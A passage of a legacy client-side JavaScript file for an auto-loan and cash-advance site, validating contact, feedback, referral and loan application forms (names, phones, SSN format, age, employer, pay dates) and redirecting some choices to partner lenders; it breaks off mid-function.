// Only script specific to this form goes here.

// General-purpose routines are in a separate file.
function jump(from, to, length)

{

	if(from.value.length == length)

	{

	to.focus();

	}
}
// --------------------------------------------
//                  trim
// Trim leading/trailing whitespace off string
// --------------------------------------------

function trim(str)
{
  return str.replace(/^\s+|\s+$/g, '');
}

//////////////////////////////////////////////////////////////////////////////////////////////////
function IsvalidEmail(sFieldValue){
var REmail=/^\S+\@[\w-]+\.[\w\.-]+$/ ;
var str=sFieldValue;
	if(!str.match(REmail)) {
		return false;
	}else{
		return true;
	}	
}
//////////////////////////////////////////////////////////////////////////////////////////////////
function IsvalidURL(sFieldValue){
//var RUrl=/(((https?)|(ftp)):\/\/([\-\w]+\.)+\w{2,3}(\/[%\-\w]+(\.\w{2,})?)*(([\w\-\.\?\\/+@&#;`~=%!]*)(\.\w{2,})?)*\/?)/i/ ;
var RUrl=/^(https?):\/\/[a-z0-9]+([\-\.]{1}[a-z0-9]+)*\.[a-z]{2,5}(([0-9]{1,5})?\/.*)?$/;

//var RUrl=/((https?)|(ftp)):\/\/[A-Za-z0-9\.-]{3,}\.[A-Za-z]{3}/;
var str=sFieldValue;
	if(!str.match(RUrl)) {
		return false;
	}else{
		return true;
	}	
}
//////////////////////////////////////////////////////////////////////////////////////////////////
function IsSpecialchar(sFieldValue){
var str='`~!@#$%^&*()_+={}[]:;<>\\,?/|""*'+ "'" ;
var checkStr = sFieldValue;
var i,j,ch,flag=0;
//alert(checkStr);
	for (i = 0; i < checkStr.length; i++){
		ch = checkStr.charAt(i);
			for (j = 0; j < str.length; j++){
				if (ch == str.charAt(j)){
					flag=1;
					break;
				}	
			}
	 }
return flag;  	
}


function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}

function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}

	function clearallcheck()
	{
		/*document.getElementById('firstrad1').checked = false;
		document.getElementById('firstrad2').checked = false;
		document.getElementById('radio').checked = false;
		document.getElementById('radio2').checked = false;
		document.getElementById('radio3').checked = false;*/
	}
	
	function showsecondpart(firstvalue)
	{
		
	//	alert(firstvalue);
		if(firstvalue == "Automobile Finance" )
			{
			document.getElementById('firstrad1').checked = true;
			document.getElementById('secondpart').style.display = 'inline';
			}
		else if(firstvalue == "Motorcycle Finance")
			{
				document.getElementById('firstrad2').checked = true;
				if(confirm("Are You sure, You want to go for Motorcycle Finance ?"))
				{
					//document.getElementById('secondpart').style.display = 'none';
					// window.location = 'redirect-to-partner.php?redirect=http://www.moneyforwheels.com';
					document.Application.redirect.value="http://www.moneyforwheels.com";
					document.Application.action="redirect-to-partner.php";
					document.Application.submit();
				}
				else
				{
					document.getElementById('firstrad1').checked = true;
				}
			}
	}	
	
	function showthirdpart(secondvalue)
	{
		if(secondvalue == "dealership" )
			document.getElementById('thirdpart').style.display = 'inline';
		else if(secondvalue == "privateparty")
		{
			if(confirm("Are You sure, You want to go for Private Party Finance ?"))
			{
			//	 window.location = 'redirect-to-partner.php?redirect=http://www.moneytoride.com';
				document.Application.redirect.value="http://www.moneytoride.com";
				document.Application.action="redirect-to-partner.php";
				document.Application.submit();
			}
		}
		else if(secondvalue == "refinance")
		{
			if(confirm("Are You sure, You want to go for Refinance Auto Loan ?"))
			{
				// window.location = 'redirect-to-partner.php?redirect=http://www.moneytoride.com';
				document.Application.redirect.value="http://www.moneytoride.com/refinance.php";
				document.Application.action="redirect-to-partner.php";
				document.Application.submit();
			}
		}
		document.getElementById('radio').checked = true;
	}	
	
	function showcreditissue(shorcreditissue)
	{
		if(shorcreditissue == "yes" )
			document.getElementById('credit_issue_span').style.display = 'inline';
		else
			document.getElementById('credit_issue_span').style.display = 'none';
	}
	
	
 function CreateBookmarkLink() {

 title = document.title; 
  // Blogger - Replace with <$BlogItemTitle$> 
  // MovableType - Replace with <$MTEntryTitle$>

 url = document.location.href;
  // Blogger - Replace with <$BlogItemPermalinkURL$> 
  // MovableType - Replace with <$MTEntryPermalink$>

	if (window.sidebar) { // Mozilla Firefox Bookmark
		window.sidebar.addPanel(title, url,"");
	} else if( window.external ) { // IE Favorite
		window.external.AddFavorite( url, title); }
	else if(window.opera && window.print) { // Opera Hotlist
		return true; }
 }
 
/*******************************************************************/

function check_contact(form)
{
	var msg="";
	if(trim(form.name.value)=="")
	{
		msg+="Please Enter Name\r\n";
	}
	else
  	{
		if(isAlpha(form.name.value) == false)
		{
			msg+="Please fill out Valid Name\r\n";	
		}
	}
	
	if(form.email.value=="")
	{
		msg+="Please Enter Email\r\n";
	}
	else
	{
		if(!validEmail(form.email.value))
		{
			msg+="Please fill out Valid Email Format(abc@domain.com)\r\n";	
		}
	}
	
	var Home1 = trim(form.phone1.value);
	var Home2 = trim(form.phone2.value);
	var Home3 = trim(form.phone3.value);
	var HomePhone = Home1 + "-" + Home2 + "-" + Home3;

	if (Home1 == "" && Home2 == "" && Home3 == "") 
	{
		
	}
	else
	{
		var strExpression = /^[0-9]{3}-[0-9]{3}-[0-9]{4}$/i; 
   		var kk= strExpression.test(HomePhone); 
		if(!kk)
		{
			msg+="Please fill out Valid Phone Number(123-456-7891)\r\n";	
		}
		
	}
	
	if(trim(form.message.value)=="")
	{
		msg+="Please Enter Message\r\n";
	}
	if(trim(form.security_code.value)=="")
	{
		msg+="Please Enter security code\r\n";
	}

	if (msg.length>0) 
	{
		alert(msg);
		return false;
	} 
	else 
	{ 
		return true; 
	}
}

/*******************************************************************/

function check_contact2(form)
{
	var msg="";

	if(trim(form.name.value)=="")
	{
		msg+="Please Enter Name\r\n";
	}
	else
  	{
		if(isAlphaSpace(form.name.value) == false)
		{
			msg+="Please fill out Valid Name\r\n";	
		}
	}
	
	if(trim(form.company_name.value)=="")
	{
		msg+="Please Enter Company Name\r\n";
	}
	else
  	{
		if(isAlphaSpace(form.company_name.value) == false)
		{
			msg+="Please fill out Valid Company Name\r\n";	
		}
	}
	
	if(trim(form.company_web_address.value)=="")
	{
		msg+="Please Enter Company Web Address\r\n";
	}
	else
  	{
		if(IsvalidURL(form.company_web_address.value) == false)
		{
			msg+="Please fill out Valid Company Web Address\r\n";	
		}
	}
	
	if(form.email.value=="")
	{
		msg+="Please Enter Email\r\n";
	}
	else
	{
		if(!validEmail(form.email.value))
		{
			msg+="Please fill out Valid Email Format(abc@domain.com)\r\n";	
		}
	}
	
	var Home1 = trim(form.phone1.value);
	var Home2 = trim(form.phone2.value);
	var Home3 = trim(form.phone3.value);
	var HomePhone = Home1 + "-" + Home2 + "-" + Home3;

	if (Home1 == "" && Home2 == "" && Home3 == "") 
	{
		
	}
	else
	{
		var strExpression = /^[0-9]{3}-[0-9]{3}-[0-9]{4}$/i; 
   		var kk= strExpression.test(HomePhone); 
		if(!kk)
		{
			msg+="Please fill out Valid Phone Number(123-456-7891)\r\n";	
		}
		
	}
	
	if(trim(form.message.value)=="")
	{
		msg+="Please Enter Message\r\n";
	}
	if(trim(form.security_code.value)=="")
	{
		msg+="Please Enter security code\r\n";
	}

	if (msg.length>0) 
	{
		alert(msg);
		return false;
	} 
	else 
	{ 
		return true; 
	}
}

/*************************************************/

function checkFeedbackForm(frm){

//check for name 
	if ( trim(frm.txiName.value).length<=0 ){
		alert("Sorry, but your name is required!");	
		frm.txiName.focus();
		return false;
	}

	if ( IsSpecialchar(trim(frm.txiName.value))){
		alert("Sorry, but your name contains some special character(s) which are not allowed!");	
		frm.txiName.focus();
		return false;
	}

//check for email
	if ( trim(frm.txiEmail.value).length<=0 ){
		alert("Sorry, but your email address is required!");	
		frm.txiEmail.focus();
		return false;
	}

	if (!IsvalidEmail(trim(frm.txiEmail.value))){
		alert("Sorry, but your email address is not correct!\n Please provide us a valid email address.\nThank You!");	
		frm.txiEmail.focus();
		return false;
	}

	/*if ( IsSpecialchar(trim(frm.txiEmail.value))){
		alert("Sorry, but your email contains some special character(s) which are not allowed!");	
		frm.txiEmail.focus();
		return false;
	}*/

//check for site layout
	if ( frm.layout.value==""){
		alert("Please select an option from 'Site Layout' list!");
		frm.layout.focus();
		return false;
	}

//check for Load time
	if ( frm.loadtime.value==""){
		alert("Please select an option from 'Load Time' list!");
		frm.sectionhead.focus();
		return false;
	}


//check for section heads
	if ( frm.sectionhead.value==""){
		alert("Please select an option from 'Section Heads' list!");
		frm.sectionhead.focus();
		return false;
	}


//check for user friendliness
	if ( frm.userfriend.value==""){
		alert("Please select an option from 'User Friendliness' list!");
		frm.userfriend.focus();
		return false;
	}



//check for comments
	if( trim(frm.txaComments.value).length<=0 || frm.txaComments.value==""){
		alert("Sorry, but comments are required!");
		frm.txaComments.focus();
		return false;
	}

	var pattern = /[a-zA-Z]/;
	if (!pattern.test(trim(frm.txaComments.value))){
		alert("Sorry, but comment are required!");
		frm.txaComments.focus();
		return false;
	}

if(frm.security_code.value==""   ){
      alert("Please enter the security_code!");
			frm.security_code.focus();
		return false;
	}
return true;

}

function open1(id)
{
	document.getElementById(id).style.display = '';
}
function remove(id,val)
{
	var email = 'txifriendEmail'+val;
	var name = 'txifriendName'+val;
	document.getElementById(id).style.display = 'none';
	document.getElementById(email).value = '';
	document.getElementById(name).value = '';

}

/**********************************/

function checkTellAFriendForm(frm){

//check for name 
	if ( trim(frm.txiName.value).length<=0 ){
		alert("Sorry, but your name is required!");	
		frm.txiName.focus();
		return false;
	}

	if ( IsSpecialchar(trim(frm.txiName.value))){
		alert("Sorry, but your name contains some special character(s) which are not allowed!");	
		frm.txiName.focus();
		return false;
	}

//check for email
	if ( trim(frm.txiEmail.value).length<=0 ){
		alert("Sorry, but your email address is required!");	
		frm.txiEmail.focus();
		return false;
	}

	if (!IsvalidEmail(trim(frm.txiEmail.value))){
		alert("Sorry, but your email address is not correct!\n Please provide us a valid email address.\nThank You!");	
		frm.txiEmail.focus();
		return false;
	}
	
	FreindDetail=0;
	
	for(i=1;i<=5;i++)
	{
		var alphaDigit=Array("","fisrt","second","third","fourth","fifth");
		// Check first Friend Detail
		if(!(trim(frm['txifriendName'+i].value)=="" && trim(frm['txifriendEmail'+i].value)==""))
		{
			if(trim(frm['txifriendName'+i].value)=="")
			{
				alert("Sorry, but your "+ alphaDigit[i] +" friend name is required!");	
				frm['txifriendName'+i].focus();
				return false;
			}
			if ( IsSpecialchar(trim(frm['txifriendName'+i].value))){
				alert("Sorry, but your "+ alphaDigit[i] +" friend name contains some special character(s) which are not allowed!");	
				frm['txifriendName'+i].focus();
				return false;
			}
			
			if(trim(frm['txifriendEmail'+i].value)=="")
			{
				alert("Sorry, but your "+ alphaDigit[i] +" friend's email address is required!");	
				frm['txifriendEmail'+i].focus();
				return false;
			}
			if ( !IsvalidEmail(trim(frm['txifriendEmail'+i].value))){
				alert("Sorry, but your "+ alphaDigit[i] +" friend's email address is not correct!\n Please provide us a valid email address.\nThank You!");	
				frm['txifriendEmail'+i].focus();
				return false;
			}
			FreindDetail++;
		}
	}
	
	if(FreindDetail==0)
	{
		alert("Sorry, but you have not provided any friend detail!");	
		frm.txifriendName1.focus();
		return false;
	}
	
	if ( trim(frm.txtMessage.value).length<=0 ){
		alert("Sorry, but your Message is required!");	
		frm.txtMessage.focus();
		return false;
	}



	if(frm.security_code.value=="")
	{
		  alert("Please enter the security_code!");
				frm.security_code.focus();
			return false;
		}
return true;

}



  /******************************************/

  function checkform (form){
	  
	var sep="\n";
	var msg="";
	
	var one_day=1000*60*60*24; 
	//Here we need to split the inputed dates to convert them into standard format
	
	var arr_block_name="none|unemployment";
	var block_test=new RegExp(arr_block_name , "gi" );
		//alert(block_test.test(form.Emp_Name.value));
		//alert(form.Emp_Name.value.search(block_test));

		/****
		// if(form.Emp_Name.value.search(block_test))
		//  OR				
		// if(block_test.test(form.Emp_Name.value))
		****/
	
	var arr_block_phone="1866483|1800829";
	var block_phone_test=new RegExp(arr_block_phone , "gi" );

	if (form.First_Name.value == "") 
	{
		msg+="Please fill out First name"+sep;
	}
	else
  	{
		if(isAlpha(form.First_Name.value) == false)
		{
			msg+="Please fill out Valid First name"+sep;	
		}
	}
	
	if (form.Last_Name.value == "") 
	{
    	msg+="Please fill out Last name"+sep;
	}
	else
  	{
		if(isAlpha(form.Last_Name.value) == false)
		{
			msg+="Please fill out Valid Last name"+sep;	
		}
	}
	
	if (form.Address.value == "") 
	{
		msg+="Please fill out Address"+sep;
	}
	
	if (form.City.value == "") 
	{
		msg+="Please fill out City"+sep;
	}
	if (form.State.value == "") 
	{
		msg+="Please fill out State"+sep;
	}
	
	var zipCode = form.Zip.value;
	if (form.Zip.value == "") 
	{
		msg+="Please fill out Zip"+sep;
	}
	else
	{
		if(!IsInt(form.Zip.value))
		{
			msg+="Please fill out Valid Zip"+sep;	
		}
		else if(zipCode.length != 5)
		{
			msg+="Zip must be of 5 digits"+sep;	
		}
	}
/*********/
	
	var Home1 = trim(form.Home_Phone1.value);
	var Home2 = trim(form.Home_Phone2.value);
	var Home3 = trim(form.Home_Phone3.value);
	var HomePhone = Home1 + "-" + Home2 + "-" + Home3;

	if (Home1 == "" || Home2 == "" || Home3 == "" || parseInt(Home1)==0  || parseInt(Home2)==0  || parseInt(Home3)==0 ) 
	{
		msg+="Invalid or Blocked Primary Home Phone"+sep;
	}
	else
	{
		var strExpression = /^[0-9]{3}-[0-9]{3}-[0-9]{4}$/i; 
   		var kk= strExpression.test(HomePhone); 
		if(!kk)
		{
			msg+="Please fill out Valid Home Phone(123-456-7891)"+sep;	
		}
		
		var mHomePhone = Home1 + Home2 + Home3;
		if(mHomePhone.match(block_phone_test))
		{
			msg+="Invalid or Blocked Primary Home Phone \""+ mHomePhone + "\""+sep;
		}
	}
	
	if (form.Email.value == "") 
	{
		msg+="Please fill out Email"+sep;
	}
	else
	{
		if(!validEmail(form.Email.value))
		{
			msg+="Please fill out Valid Email Format(abc@domain.com)"+sep;	
		}
	}
	
	if (form.Living_From.value == "") 
	{
		msg+="Please fill out how long at this address?"+sep;
	}
	
	if (!(form.Rent_Own[0].checked || form.Rent_Own[1].checked)) 
	{
		msg+="Invalid Primary Residence Type"+sep;
	}
	
/*********/
	if (form.Payment.value == "" || parseInt(form.Payment.value)==0) 
	{
		if(trim(form.Payment.value)!="")
		{
			msg+="Invalid Primary Monthly Payment \""+ form.Payment.value +"\""+sep;
		}
		else
		{
			msg+="Invalid Primary Monthly Payment"+sep;
		}
	}
	else 
	{
		if(!IsNumeric(form.Payment.value))
		{
			msg+="Invalid Primary Monthly Payment \""+ form.Payment.value +"\""+sep;	
		}
	}
	
	if (trim(form.bmonth.value) == "" ) 
	{
		msg+="Please fill out Month"+sep;
	}
	else
	{
		if(!IsNumeric(form.bmonth.value))
		{
			msg+="Please fill out Valid Month"+sep;	
		}
		/*else
		{	
			if(form.bmonth.value<10 && form.bmonth.value.length<2)
				form.bmonth.value="0"+form.bmonth.value;
		}*/
	}
	if (trim(form.byear.value) == "" ) 
	{
		msg+="Please fill out Year"+sep;
	}
	else
	{
		if(!IsNumeric(form.byear.value))
		{
			msg+="Please fill out Valid Year"+sep;	
		}
	}
	if (trim(form.bday.value) == "" ) 
	{
		msg+="Please fill out Day"+sep;
	}
	else
	{
		if(!IsNumeric(form.bday.value))
		{
			msg+="Please fill out Valid Day"+sep;	
		}
		/*else
		{	
			if(form.bday.value<10 && form.bday.value.length<2)
				form.bday.value="0"+form.bday.value;
		}*/
	}
	var dobDate =  form.bmonth.value +"/"+ form.bday.value+"/"+form.byear.value;
	var dobDate1 = new Date(form.byear.value,(parseInt(form.bmonth.value)-1),form.bday.value);
	if(!isDate(dobDate,"MM/dd/yyyy"))
	{
			msg+="Please fill out Valid Date"+sep;
	}
	else
	{
		var	today =	new	Date()
		var crrMonth = today.getMonth();
		crrMonth++;
		if(crrMonth < 10)
			crrMonth = "0" + crrMonth; 
		
		var currDate = crrMonth +"/"+ today.getDate()+"/"+today.getFullYear();
	
		//alert(currDate+"-"+dobDate);
		if(compareDates(currDate, "MM/dd/yyyy", dobDate, "MM/dd/yyyy") == 0)
		{
			msg+="Date of Birth must be less than the Current Date"+sep;
		}
		
		_Diff=(Math.ceil((today.getTime()-dobDate1.getTime())/(one_day)));
		if((_Diff/365)<18)
		{
			msg+="Applicant must be atleast 18 years"+sep;
		}
	}
	
	var SSN = trim(form.ss1.value)+"-"+trim(form.ss2.value)+"-"+trim(form.ss3.value);
	if (SSN.replace(new RegExp( "-", "g" ),"") == "") 
	{
		msg+="Please fill out Social Security"+sep;
	}
	else
	{
		
	 	var strExpression = /^[0-9]{3}-[0-9]{2}-[0-9]{4}$/i; 
   		var kk= strExpression.test(SSN); 
		if(!kk)
		{
			msg+="Please fill out Valid SSN Format(123-45-6789)"+sep;	
		}
	}
	
		
	if (form.Emp_Name.value == "") 
	{
		msg+="Please fill out Employer Name"+sep;
	}
	else
	{
	//	var block_emp_name=new RegExp( arr_block_name, "gi" );;
		if(form.Emp_Name.value.match(block_test))
		{
			msg+="Invalid or Blocked Primary Employer  Name \""+form.Emp_Name.value+"\""+sep;	
		}
	}
	
	if (form.Job_Title.value == "") 
	{
		msg+="Please fill out Job title"+sep;
	}
	else
	{
	//	var block_job_title=new RegExp( arr_block_name , "gi" );;
		if(form.Job_Title.value.match(block_test))
		{
			msg+="Invalid or Blocked Primary Job title \""+form.Job_Title.value+"\""+sep;	
		}
	}
/************/
	if (form.Job_From.value == "") 
	{
		msg+="Please fill out how long with this employer"+sep;
	}

	if (form.Monthly_Income.value == "") 
	{
		msg+="Please fill out Monthly Income"+sep;
	}
	
	var Work1 = trim(form.Work_Phone1.value);
	var Work2 = trim(form.Work_Phone2.value);
	var Work3 = trim(form.Work_Phone3.value);
	var WorkPhone = Work1 + "-" + Work2 + "-" + Work3;

	if (Work1 == "" || Work2 == "" || Work3 == "" || parseInt(Work1)==0  || parseInt(Work2)==0  || parseInt(Work3)==0) 
	{
		msg+="Please fill out Work phone"+sep;
	}
	else
	{
		var strExpression = /^[0-9]{3}-[0-9]{3}-[0-9]{4}$/i; 
   		var kk= strExpression.test(WorkPhone); 
		if(!kk)
		{
			msg+="Please fill out Valid Work Phone(123-456-7891)"+sep;	
		}
		
		var mWorkPhone = Work1 + Work2 + Work3;
		if(mWorkPhone.match(block_phone_test))
		{
			msg+="Invalid or Blocked Primary Work Phone \""+ mWorkPhone + "\""+sep;
		}
	}
	if (form.Bankruptcy[0].checked==false && form.Bankruptcy[1].checked==false) 
	{
		msg+="Please fill out Declared Bankruptcy in the last 7 Years"+sep;
	}

	if (form.CoSign[0].checked==false && form.CoSign[1].checked==false) 
	{
		msg+="Please fill out Cosigner available (If needed)"+sep;
	}

/************/

	if (form.Authorize.value == "") 
	{
		msg+="Invalid Primary Credit Authorization \"False\""+sep;
	}
	else if(form.Authorize[1].checked == false)
	{
		msg+="Invalid Primary Credit Authorization \"False\""+sep;
	}

 	if(form.Forward_Application[1].checked == false)
	{
		msg+="You must select Yes to get a loan in - 'Do you authorize us to forward your application information'"+sep;
	}
	
	if (form.Agreed.checked == false) {
		msg+="Please agree with the privacy policy"+sep;
		//alert( "Please agree with the privacy policy" );
		//form.Agreed.focus();
		//return false;
	}
	
	if (msg.length>0) 
	{
		alert(msg);
		return false;
	} 
	else 
	{ 
		return true; 
	}
}

/******************************************/

  function check_cash_form (form){
	  
	var sep="\n";
	var msg="";
	
	var one_day=1000*60*60*24; 
	//Here we need to split the inputed dates to convert them into standard format
	
	var arr_block_name="none|unemployment";
	var block_test=new RegExp(arr_block_name , "gi" );
		//alert(block_test.test(form.Emp_Name.value));
		//alert(form.Emp_Name.value.search(block_test));

		/****
		// if(form.Emp_Name.value.search(block_test))
		//  OR				
		// if(block_test.test(form.Emp_Name.value))
		****/
	
	var arr_block_phone="1866483|1800829";
	var block_phone_test=new RegExp(arr_block_phone , "gi" );
	
	if(form.License.value=="")
	{
		msg+="Please fill out Driver's Licence"+sep;
	}
	else
	{
		var License=form.License.value;
		var strExpression = /^([0-9A-Za-z]|\-){4,17}$/i; 
   		var kk= strExpression.test(License); 
		if(!kk)
		{
			msg+="Please fill out Valid Driver's Licence"+sep;	
		}
	}
	
	if (form.First_Name.value == "") 
	{
		msg+="Please fill out First name"+sep;
	}
	else
  	{
		if(isAlpha(form.First_Name.value) == false)
		{
			msg+="Please fill out Valid First name"+sep;	
		}
	}
	
	if (form.Last_Name.value == "") 
	{
    	msg+="Please fill out Last name"+sep;
	}
	else
  	{
		if(isAlpha(form.Last_Name.value) == false)
		{
			msg+="Please fill out Valid Last name"+sep;	
		}
	}
	
	if (form.Address.value == "") 
	{
		msg+="Please fill out Address"+sep;
	}
	
	if (form.City.value == "") 
	{
		msg+="Please fill out City"+sep;
	}
	if (form.State.value == "") 
	{
		msg+="Please fill out State"+sep;
	}
	
	var zipCode = form.Zip.value;
	if (form.Zip.value == "") 
	{
		msg+="Please fill out Zip"+sep;
	}
	else
	{
		if(!IsInt(form.Zip.value))
		{
			msg+="Please fill out Valid Zip"+sep;	
		}
		else if(zipCode.length != 5)
		{
			msg+="Zip must be of 5 digits"+sep;	
		}
	}
/*********/
	
	var Home1 = trim(form.Home_Phone1.value);
	var Home2 = trim(form.Home_Phone2.value);
	var Home3 = trim(form.Home_Phone3.value);
	var HomePhone = Home1 + "-" + Home2 + "-" + Home3;
					
	if (Home1 == "" || Home2 == "" || Home3 == "") 
	{
		msg+="Please fill out Home phone"+sep;
	}
	else
	{
		var strExpression = /^[0-9]{3}-[0-9]{3}-[0-9]{4}$/i; 
   		var kk= strExpression.test(HomePhone); 
		if(!kk)
		{
			msg+="Please fill out Valid Home Phone(123-456-7891)"+sep;	
		}
	}
	
	var Work1 = trim(form.Work_Phone1.value);
	var Work2 = trim(form.Work_Phone2.value);
	var Work3 = trim(form.Work_Phone3.value);
	var WorkPhone = Work1 + "-" + Work2 + "-" + Work3;
					;
	if (Work1 == "" || Work2 == "" || Work3 == "") 
	{
		msg+="Please fill out Work phone"+sep;
	}
	else
	{
		var strExpression = /^[0-9]{3}-[0-9]{3}-[0-9]{4}$/i; 
   		var kk= strExpression.test(WorkPhone); 
		if(!kk)
		{
			msg+="Please fill out Valid Work Phone(123-456-7891)"+sep;	
		}
		
	}
	
	if (form.Email.value == "") 
	{
		msg+="Please fill out Email"+sep;
	}
	else
	{
		if(!validEmail(form.Email.value))
		{
			msg+="Please fill out Valid Email Format(abc@domain.com)"+sep;	
		}
	}
	
	if (trim(form.bmonth.value) == "" ) 
	{
		msg+="Please fill out Month"+sep;
	}
	else
	{
		if(!IsNumeric(form.bmonth.value))
		{
			msg+="Please fill out Valid Month"+sep;	
		}
		/*else
		{	
			if(form.bmonth.value<10 && form.bmonth.value.length<2)
				form.bmonth.value="0"+form.bmonth.value;
		}*/
	}
	if (trim(form.byear.value) == "" ) 
	{
		msg+="Please fill out Year"+sep;
	}
	else
	{
		if(!IsNumeric(form.byear.value))
		{
			msg+="Please fill out Valid Year"+sep;	
		}
	}
	if (trim(form.bday.value) == "" ) 
	{
		msg+="Please fill out Day"+sep;
	}
	else
	{
		if(!IsNumeric(form.bday.value))
		{
			msg+="Please fill out Valid Day"+sep;	
		}
		/*else
		{	
			if(form.bday.value<10 && form.bday.value.length<2)
				form.bday.value="0"+form.bday.value;
		}*/
	}
		
	var dobDate =  form.bmonth.value +"/"+ form.bday.value+"/"+form.byear.value;
	var dobDate1 = new Date(form.byear.value,(parseInt(form.bmonth.value)-1),form.bday.value);
	if(!isDate(dobDate,"MM/dd/yyyy"))
	{
			msg+="Please fill out Valid Date"+sep;
	}
	else
	{
		var	today =	new	Date()
		var crrMonth = today.getMonth();
		crrMonth++;
		if(crrMonth < 10)
			crrMonth = "0" + crrMonth; 
		
		var currDate = crrMonth +"/"+ today.getDate()+"/"+today.getFullYear();
	
		//alert(currDate+"-"+dobDate);
		if(compareDates(currDate, "MM/dd/yyyy", dobDate, "MM/dd/yyyy") == 0)
		{
			msg+="Date of Birth must be less than the Current Date"+sep;
		}
		
		_Diff=(Math.ceil((today.getTime()-dobDate1.getTime())/(one_day)));
		if((_Diff/365)<18)
		{
			msg+="Applicant must be atleast 18 years"+sep;
		}
	}
	
	var SSN = trim(form.ss1.value)+"-"+trim(form.ss2.value)+"-"+trim(form.ss3.value);
	if (SSN.replace(new RegExp( "-", "g" ),"") == "") 
	{
		msg+="Please fill out Social Security"+sep;
	}
	else
	{
	 	var strExpression = /^[0-9]{3}-[0-9]{2}-[0-9]{4}$/i; 
   		var kk= strExpression.test(SSN); 
		if(!kk)
		{
			msg+="Please fill out Valid SSN Format(123-45-6789)"+sep;	
		}
	}
	
		
	if (form.REF_FNAME1.value == "") 
	{
		msg+="Please fill First Name for Personal Reference 1?"+sep;
	}
	else
  	{
		if(isAlpha(form.REF_FNAME1.value) == false)
		{
			msg+="Please fill out Valid First Name for Personal Reference 1?"+sep;	
		}
	}
	
	if (form.REF_LNAME1.value == "") 
	{
		msg+="Please fill Last Name for Personal Reference 1?"+sep;
	}
	else
  	{
		if(isAlpha(form.REF_LNAME1.value) == false)
		{
			msg+="Please fill out Valid Last Name for Personal Reference 1"+sep;	
		}
	}
	
	if (form.REF_RELATIONSHIP1.value == "") 
	{
		msg+="Please fill Reference RELATIONSHIP for Personal Reference 1?"+sep;
	}
	
	var Ref1Phone1 = trim(form.Ref1Phone1.value);
	var Ref1Phone2 = trim(form.Ref1Phone2.value);
	var Ref1Phone3 = trim(form.Ref1Phone3.value);
	var Ref1Phone = Ref1Phone1 + "-" + Ref1Phone2 + "-" + Ref1Phone3;
					
	if (Ref1Phone1 == "" || Ref1Phone2 == "" || Ref1Phone3 == "") 
	{
		msg+="Please fill out Reference Phone For Personal Reference 1"+sep;
	}
	else
	{
		var strExpression = /^[0-9]{3}-[0-9]{3}-[0-9]{4}$/i; 
   		var kk= strExpression.test(Ref1Phone); 
		if(!kk)
		{
			msg+="Please fill out Valid Reference Phone(123-456-7891) For Personal Reference 1"+sep;	
		}
	}
	
	if (trim(form.REF_FNAME2.value)!= "") 
	{
		if(isAlpha(form.REF_FNAME2.value) == false)
		{
			msg+="Please fill out Valid First Name for Personal Reference 2?"+sep;	
		}
	}
	
	if (trim(form.REF_LNAME2.value)!= "") 
	{
		if(isAlpha(form.REF_LNAME2.value) == false)
		{
			msg+="Please fill out Valid Last Name for Personal Reference 2"+sep;	
		}
	}
	
	var Ref2Phone1 = trim(form.Ref2Phone1.value);
	var Ref2Phone2 = trim(form.Ref2Phone2.value);
	var Ref2Phone3 = trim(form.Ref2Phone3.value);
	var Ref2Phone = Ref2Phone1 + "-" + Ref2Phone2 + "-" + Ref2Phone3;
				
	if (Ref2Phone1=="" || Ref2Phone2=="" || Ref2Phone3=="") 
	{
	}
	else
	{
		var strExpression = /^[0-9]{3}-[0-9]{3}-[0-9]{4}$/i; 
   		var kk= strExpression.test(Ref2Phone); 
		if(!kk)
		{
			msg+="Please fill out Valid Reference Phone(123-456-7891) For Personal Reference 2"+sep;	
		}
	}
// -----------------------------------
	
	var NEXT_PAY_DATE =  form.NEXT_PAY_DATE_m.value +"/"+ form.NEXT_PAY_DATE_d.value+"/"+form.NEXT_PAY_DATE_y.value;
	
if (trim(form.NEXT_PAY_DATE_m.value) == "" || form.NEXT_PAY_DATE_m.value == "0") 
	{
		msg+="Please fill out Month for Next Pay Date"+sep;
	}
	else
	{
		if(!IsNumeric(form.NEXT_PAY_DATE_m.value))
		{
			msg+="Please fill out Valid Month for Next Pay Date"+sep;	
		}
	}
	if (trim(form.NEXT_PAY_DATE_y.value) == "" ||  form.NEXT_PAY_DATE_y.value == "0") 
	{
		msg+="Please fill out Year for Next Pay Date"+sep;
	}
	else
	{
		if(!IsNumeric(form.NEXT_PAY_DATE_y.value))
		{
			msg+="Please fill out Valid Year for Next Pay Date"+sep;	
		}
	}
	if (trim(form.NEXT_PAY_DATE_d.value) == "" || form.NEXT_PAY_DATE_d.value == "0") 
	{
		msg+="Please fill out Day for Next Pay Date"+sep;
	}
	else
	{
		if(!IsNumeric(form.NEXT_PAY_DATE_d.value))
		{
			msg+="Please fill out Valid Day for Next Pay Date"+sep;	
		}
	}
	if(!isDate(NEXT_PAY_DATE,"MM/dd/yyyy"))
	{
			msg+="Please fill out Valid Date for Next Pay Date"+sep;
	}
	else
	{
		var	today =	new	Date()
		var crrMonth = today.getMonth();
		crrMonth++;
		if(crrMonth < 10)
			crrMonth = "0" + crrMonth; 
		
		var currDate = crrMonth +"/"+ today.getDate()+"/"+today.getFullYear();
	
		//alert(currDate+"-"+dobDate);
		if(compareDates(currDate, "MM/dd/yyyy", NEXT_PAY_DATE, "MM/dd/yyyy") == 1 || currDate==NEXT_PAY_DATE)
		{
